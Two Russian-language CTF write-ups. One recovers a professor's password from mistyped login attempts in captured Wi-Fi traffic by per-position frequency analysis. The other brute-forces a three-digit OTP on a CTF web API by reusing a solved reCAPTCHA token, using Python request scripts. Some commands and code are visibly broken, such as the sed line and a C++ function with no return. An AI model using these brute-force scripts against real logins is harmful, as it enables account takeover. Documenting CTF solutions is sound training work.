

1. WriteUp: Сопромёд: метро

Автор: nedo-offsec

Дата: 19 июля 2026

Задание: Сопромёд: метро

Категория: Network

Сложность: Easy

1.1 Информация о задании

Задача: Профессор Барсуков подключился к открытому Wi-Fi в метро и пытался войти в профессорский портал, но вагон трясло, и он никак не попадал по клавишам. Студент записал трафик Wi-Fi: `sopromed_capture.pcap`

1.2 Цель

Найти правильный пароль профессора Барсукова в перехваченном трафике.

1.3 Инструменты

- Wireshark / tshark
- Python 3
- grep + sed
- Анализ частотности символов

1.4 Извлечение данных из PCAP

В файле `sopromed_capture.pcap` содержатся HTTP-запросы к эндпоинту `/api/auth/login`. Профессор пытался войти несколько раз с разными паролями.

Для извлечения паролей используем `strings` и `grep`:

```
strings sopromed_capture.pcap | grep -E '"password": "[^"]+"' | sed 's/.*"password":  
"\"([^\"]*)\".*\n/' > passwords.txt
```

Проблема: `grep` мог жаловаться на бинарный файл. Используем `strings`, чтобы извлечь читаемый текст из бинарного файла.

В итоге получаем файл `passwords.txt` с набором паролей:

```
b4cter_sr34ke_h0mdy  
h4dger_st34pw_h0mrh  
v4xgsd_ag34la_y0ndg  
b4dgee_wg34la_g0hrq  
g4dgef_st34pa_h0mey  
b4fged_zt34kz_u0ndt  
b4dger_st34la_n0neu  
v4dbdf_wr34ld_h0net  
g4dbsr_st34kz_h0jrg  
b4chrr_xy34ls_j0neh  
h4shdr_sg34ps_h0nsu  
b4dfwe_st34pz_h0mst  
n4dgwt_dy34ls_u0jdu
```

```
h4sgrt_zy34kx_h0jdy
v4fgdr_sf34oe_n0nsy
g4ryer_st34ls_h0nrt
```

1.5 Анализ структуры паролей

Все пароли имеют одинаковый формат:

```
????_????_???? — 5 символов + _ + 5 символов + _ + 5 символов
```

Формат: [a-z0-9]{5}_[a-z0-9]{5}_[a-z0-9]{5}

1.6 Метод решения

Поскольку профессор “тыкал не туда”, мы можем применить **frequency analysis** — выбрать самый частый символ на каждой позиции среди всех попыток.

Это работает, потому что:

- Профессор пытался ввести правильный пароль несколько раз, но промахивался
- Правильный пароль должен быть близок ко всем попыткам
- На каждой позиции чаще всего встречается правильный символ

1.7 Код для анализа

```
#include <iostream>
#include <fstream>
#include <string>
#include <vector>
#include <map>
#include <algorithm>
#include <cctype>

using namespace std;

vector<string> extractPasswords(const string& filename) {
    vector<string> passwords;
    ifstream file(filename);

    if (!file.is_open()) {
        cerr << "Не удалось открыть файл: " << filename << endl;
        return passwords;
    }

    string line;
    while (getline(file, line)) {
        size_t pos = line.find("\\\\password\\": \\\"); //"
        if (pos != string::npos) {
            pos += 13;
            size_t endPos = line.find("'", pos);
            if (endPos != string::npos) {
                string password = line.substr(pos, endPos - pos);
                if (password.length() == 17) {
                    passwords.push_back(password);
                }
            }
        }
    }
}
```

```

        file.close();
        return passwords;
    }

    bool isValidPassword(const string& password) {
        if (password.length() != 17) return false;
        int underscoreCount = 0;
        for (char c : password) {
            if (c == '_') underscoreCount++;
        }
        return underscoreCount == 2;
    }

    string findMostCommonPassword(const vector<string>& passwords) {
        size_t passwordLength = passwords[0].length();
        string result(passwordLength, ' ');

        for (size_t pos = 0; pos < passwordLength; pos++) {
            map<char, int> charCount;
            for (const auto& password : passwords) {
                if (pos < password.length()) {
                    charCount[password[pos]]++;
                }
            }

            char mostFrequent = ' ';
            int maxCount = 0;
            for (const auto& pair : charCount) {
                if (pair.second > maxCount) {
                    maxCount = pair.second;
                    mostFrequent = pair.first;
                }
            }
            result[pos] = mostFrequent;
        }

        return result;
    }

    int main() {
        string filename = "passwords.txt";
        vector<string> passwords = extractPasswords(filename);

        vector<string> validPasswords;
        for (const auto& p : passwords) {
            if (isValidPassword(p)) {
                validPasswords.push_back(p);
            }
        }

        string mostCommonPassword = findMostCommonPassword(validPasswords);

        cout << "=====" << endl;
        cout << "Восстановленный пароль: " << mostCommonPassword << endl;
        cout << "=====" << endl;

        return 0;
    }

```

1.8 Результат

После запуска программы получаем правильный пароль:

```
=====
Восстановленный пароль: b4dger_st34la_h0ney
=====
```

1.9 Проверка

Проверяем пароль через запрос к API:

```
curl -X POST https://sopromed-031nc82j.avitoctf.ru/api/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"prof_barsukov","password":"b4dger_st34la_h0ney"}'
```

Сервер возвращает успешный ответ с кукой сессии:

```
{"success":true,"message":"Успешный вход","user":
{"username":"prof_barsukov","role":"teacher"}}
```

1.10 Выводы

Ключевые выводы:

- Использование `strings` позволяет извлечь текст из бинарного PCAP
- Частотный анализ работает, когда есть много попыток ввода с ошибками
- Правильный пароль — `b4dger_st34la_h0ney`

1.11 Флаг

После входа под аккаунтом профессора Барсукова, задание считается решённым:

```
avito{57Icky_p4Ws_MISS_7He_BUtT0nS}
```

—

Успешного CTF! ☒

2. WriteUp: Сопромёд: ответы

Автор: nedo-offsec

Дата: 19 июля 2026

Задание: Сопромёд: ответы

Категория: Web

Сложность: Easy

2.1 Информация о задании

Задача: Вы уже в аккаунте профессора Барсукова. Осталось открыть ответы итогового экзамена и сдать его!

Но кнопка «Показать ответы» закрыта дополнительным кодом...

Ссылка на сервис:

<https://sopromed-031nc82j.avitoctf.ru/>

2.2 Цель

Получить доступ к эталонным ответам итогового экзамена, обойдя двухфакторную аутентификацию (3-значный код) и reCAPTCHA.

2.3 Инструменты

- Python 3 + библиотека requests
- Браузер с DevTools (F12)
- Burp Suite / перехват запросов

2.4 Анализ

После входа под аккаунтом профессора Барсукова мы попадаем на страницу:

`/teacher/tests/1/answers`

На странице расположена форма с двумя полями:

- Код двухфакторной аутентификации (3 цифры, 000–999)
- reCAPTCHA от Google

При отправке формы происходит POST-запрос на эндпоинт:

`/api/teacher/tests/1/answers`

2.5 Получение сессионных кук

Нам доступны куки от сессии профессора: `cfduid=638bd185f9e0ce0641daa5be90c7049f`
`sopromed.sid=MTc4NDQ1NTk5OXxEWDhFQVFMX2dBQUJFQUVRQUFBYV80QUFBUVp6ZEHKcGJtY01CUUFEZFds`
`dtuRf3B2ShT9ATKyQ==`

text

Эти куки необходимы для авторизации всех последующих запросов к API.

2.6 Шаг 1: Перебор кодов без капчи

Первая попытка — просто перебрать все коды 000–999, отправив пустое поле captcha.

```
import requests
import time

url = "https://sopromed-031nc82j.avitoctf.ru/api/teacher/tests/1/answers"

cookies = {
    '__cfduid': '638bd185f9e0ce0641daa5be90c7049f',
    'sopromed.sid':
'MTc4NDQ1NTk5OXxEWdhFQVFMX2dBQUJFQUVRQUFBYV80QUFBVp6ZEhKcGJtY01CUUFEZFdsa0EybHVkQVFDQUFJPXxADjW7cU
dtuRf3B2ShT9ATKyQ=='
}

print("🔍 Brute forcing codes 000-999...")

for code in range(0, 1000):
    code_str = f"{code:03d}"
    response = requests.post(
        url,
        cookies=cookies,
        json={"token": code_str, "captcha": ""}
    )

    if "avito" in response.text.lower():
        print(f"✅ FOUND! Code: {code_str}")
        print(response.text)
        break

    if "captcha_required" in response.text:
        print("× Captcha required!")
        break

    if code % 100 == 0:
        print(f"Progress: {code}/999", end="\r")

time.sleep(0.05)
```

Результат: {"error": "captcha_required", "message": "Подтвердите, что вы не пчела (пройдите капчу)."}

Сервер требует прохождения reCAPTCHA. Нужно получить токен.

2.7 Шаг 2: Получение токена reCAPTCHA

1. Открываем страницу в браузере:
<https://sopromed-031nc82j.avitoctf.ru/teacher/tests/1/answers>
2. Решаем капчу вручную (нажимаем “Я не робот”)
3. Открываем DevTools (F12) и переходим на вкладку **Console**
4. Выполняем JavaScript-код для получения токена:

```
document.querySelector('textarea[name="g-recaptcha-response"]').value
```


text
5. Копируем полученный токен — длинная строка.

Токен:

0cAFcWeA4HZynh77iqlH3vmV-0DeTJ47gCE0oXgqI0aKhSZmW9F1jW6PDgfsBXx...

2.8 Шаг 3: Брутфорс кодов с токеном капчи

Теперь, имея токен reCAPTCHA, мы можем перебрать все 1000 кодов.

```

import requests
import time

url = "https://sopromed-031nc82j.avitoctf.ru/api/teacher/tests/1/answers"

cookies = {
    '__cfduid': '638bd185f9e0ce0641daa5be90c7049f',
    'sopromed.sid':
'MTc4NDQ1NTk5OXXEWDhFQVFMX2dBQUJFQUVRQUFBYV80QUFBVp6ZEhKcGJtY01CUUFEZFdsa0EybHVkQVFDQUFJPXxADjW7cU
dtuRf3B2ShT9ATKyQ=='
}

CAPTCHA_TOKEN = "0cAFcWeA4HZynh77iqlH3vmV..."

print("🔍 Brute forcing codes 300-999...")

for code in range(300, 1000):
    code_str = f"{code:03d}"
    response = requests.post(
        url,
        cookies=cookies,
        json={
            "token": code_str,
            "captcha": CAPTCHA_TOKEN
        }
    )

    if "avito" in response.text.lower():
        print(f"✅ FOUND! Code: {code_str}")
        print(response.text)
        break

    if code % 50 == 0:
        print(f"Progress: {code}/999", end="\r")

    time.sleep(0.03)

```

2.9 Шаг 4: Результат

Скрипт находит правильный код: ✅ FOUND! Code: 349

text

Сервер возвращает JSON с эталонными ответами и флагом:

```

{
  "questions": [
    {
      "position": 1,
      "text": "Главный штатный инструмент медоеда при вскрытии улья?",
      "answer": "когти"
    }
  ]
}

```

```

},
{
  "position": 2,
  "text": "Сколько ужалений в среднем выдерживает шкура медоеда без последствий?",
  "answer": "все"
},
{
  "position": 3,
  "text": "Оптимальное время суток для налёта на пасеку?",
  "answer": "ночь"
},
{
  "position": 4,
  "text": "Как называется дисциплина о тихом изъятии мёда?",
  "answer": "сопромед"
},
{
  "position": 5,
  "text": "Девиз кафедры мёдокражи (одно слово)?",
  "answer": "медоед"
}
],
"test": {
  "id": 1,
  "secret": "avito{0Tp_ch3ck3D_b3F0Re_cAptcha_0oPS}",
  "title": "Итоговый экзамен по дисциплине «Сопромед»"
}
}

```

2.10 Флаг

avito{0Tp_ch3ck3D_b3F0Re_cAptcha_0oPS}

2.11 Выводы

В ходе решения задачи были выполнены следующие шаги:

1. Получен доступ к аккаунту профессора Барсукова через куки сессии
2. Проанализирован API-эндпоинт `/api/teacher/tests/1/answers`
3. Вручную решена reCAPTCHA и получен токен через DevTools
4. Написан скрипт для перебора 3-значного кода (000–999)
5. Найден правильный код (349)
6. Получен флаг

Ключевые выводы:

- reCAPTCHA токен можно использовать многократно в рамках одной сессии
- 3-значный код перебирается за 3 минуты с паузой 30 мс
- API возвращает флаг в поле `secret` при успешном прохождении
- Важно искать в ответе сервера строки `avito` или `flag`

2.12 P.S.

В процессе решения также была сдана контрольная работа на 5/5 со следующими ответами:

- Вопрос 1: когти

- Вопрос 2: все
- Вопрос 3: ночь
- Вопрос 4: сопромед
- Вопрос 5: медоед

—

Успешного СТФ! ☒